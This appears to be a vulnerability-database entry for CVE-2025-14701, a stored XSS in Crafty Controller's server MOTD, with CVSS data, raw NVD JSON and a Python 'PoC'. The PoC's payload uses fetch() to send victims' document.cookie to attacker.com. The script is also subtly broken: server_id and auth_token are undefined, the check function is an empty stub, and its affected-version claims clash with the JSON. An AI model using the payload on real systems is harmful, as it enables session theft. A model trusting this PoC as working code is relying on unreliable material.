Security Vulnerability Report
中文
CVE-2025-14701 CVSS 7.1 HIGH

CVE-2025-14701

Published: 2025-12-17 01:16:00
Last Modified: 2025-12-23 21:22:47

Description

An input neutralization vulnerability in the Server MOTD component of Crafty Controller allows a remote, unauthenticated attacker to perform stored XSS via server MOTD modification.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:craftycontrol:crafty_controller:*:*:*:*:*:*:*:* - VULNERABLE
Crafty Controller < 4.x.x (需确认官方修复版本)
Crafty Controller Server MOTD组件所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14701 PoC - Crafty Controller MOTD Stored XSS # This PoC demonstrates how to inject malicious JavaScript via MOTD modification import requests import json TARGET_URL = "http://target-server:8000" # Replace with actual target # Malicious MOTD payload containing XSS malicious_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" def exploit_motd_xss(): """ Exploit stored XSS in Crafty Controller MOTD component """ # Step 1: Obtain access to modify server settings # This typically requires valid credentials or exploiting another vulnerability # Step 2: Modify MOTD with malicious payload motd_endpoint = f"{TARGET_URL}/api/servers/{server_id}/settings" payload = { "motd": malicious_payload, "name": "Crafty Server" } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {auth_token}" } response = requests.post(motd_endpoint, json=payload, headers=headers) if response.status_code == 200: print("[+] MOTD XSS payload injected successfully") print("[*] Any user viewing server info will trigger the payload") else: print("[-] Failed to inject payload") def check_vulnerability(): """ Check if target is vulnerable by detecting MOTD reflection """ test_payload = "<img src=x onerror=alert('XSS')>" # Send test payload and verify if it's reflected without encoding pass if __name__ == "__main__": exploit_motd_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14701", "sourceIdentifier": "[email protected]", "published": "2025-12-17T01:15:59.773", "lastModified": "2025-12-23T21:22:47.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An input neutralization vulnerability in the Server MOTD component of Crafty Controller allows a remote, unauthenticated attacker to perform stored XSS via server MOTD modification."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craftycontrol:crafty_controller:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.6.2", "matchCriteriaId": "301FFF09-97F9-4D47-8918-587B51F12C89"}]}]}], "references": [{"url": "https://gitlab.com/crafty-controller/crafty-4/-/issues/647", "source": "[email protected]", "tags": ["Broken Link"]}]}}